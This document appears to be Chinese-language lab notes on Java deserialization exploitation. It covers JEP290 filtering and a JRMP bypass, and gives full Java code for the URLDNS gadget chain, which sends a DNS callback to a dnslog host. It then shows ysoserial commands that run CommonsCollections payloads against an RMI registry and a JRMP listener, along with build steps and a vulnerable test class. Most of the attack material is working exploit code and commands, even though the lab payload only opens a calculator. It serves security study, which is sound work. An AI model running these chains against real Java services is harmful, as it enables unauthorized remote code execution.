JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用
JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器
Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)
二次反序列化思维导图:
URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法.
对于HashMap
这个类来说,他重载了readObject
函数,在重载的逻辑中,我们可以看到他重新计算了key
的Hash
跟进hash
函数,我们可以看到,它调用了key
的hashcode
函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode
函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS
找到URLStreamHandler
这个抽象类,查看它的hashcode
实现,调用了getHostAddress
函数,传参可控
查看getHostAddress
函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址
/*
* @Author:
* @Date: 2022-10-03 19:11:15
* @LastEditors:
* @LastEditTime: 2022-10-05 10:25:36
* @Description: 请填写简介
*/package serializable.urldns;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Dnstest {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://v0qf5g.dnslog.cn");
Class c =URL.class;
Field fieldHashcode = c.getDeclaredField("hashCode");
fieldHashcode.setAccessible(true);
// 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望
// 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里
// 所以需要修改hashCode值不为-1
fieldHashcode.set(url,1);
hashmap.put(url, 22);
// 反序列化之后还是需要让他发送请求,所以需要改回来
// 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求
fieldHashcode.set(url,-1);
Serializable(hashmap);
}
public static void Serializable(Object obj) throws Exception {
ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
InputStream.writeObject(obj);
InputStream.close();
}
}
1. 首先找到Sink:发起DNS请求的URL类hashCode方法
2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法
3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它
4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.bin
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe
1. 下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial
2. 使用idea打开源码包
3. 设置maven为国内源
1. 点击maven->点击扳手->点击maven Settings->User settings file->勾选Override
4. settings.xml内容为:
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<!-- 阿里云仓库 -->
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror> <!-- 中央仓库1 -->
<mirror>
<id>repo1</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo1.maven.org/maven2/</url>
</mirror>
<!-- 中央仓库2 -->
<mirror>
<id>repo2</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo2.maven.org/maven2/</url>
</mirror>
</mirrors>
</settings>
1. 点击apply->OK
2. 点击刷新按钮,等待下载依赖
3. 点击小锤子,构建项目,如果出现报错:java: 程序包sun.rmi.server不存在
和java: 程序包sun.rmi.transport不存在
可以不用管
4. 编译项目点击M命令行输入:mvn clean package -DskipTests
5. 编译完成
环境:https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/UnSerializable/java/JavaDeserializationTest.zip
1. 打开前面写的Dnstest.java
将代码中的dnslog换为自己的,然后序列化恶意数据
2. 反序列化恶意数据,然后dnslog中会显示请求内容
1. 打开环境中的RMIServer.java
右键运行
2. 使用ysoserial攻击
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"
1. 打开环境中的RMIServer.java
右键运行
2. 使用ysoserial
攻击
• 生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin
• 启动JRMP
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"
• 反序列化
package com.chaitin;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Unserialization {
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("jrmp.bin");
}
}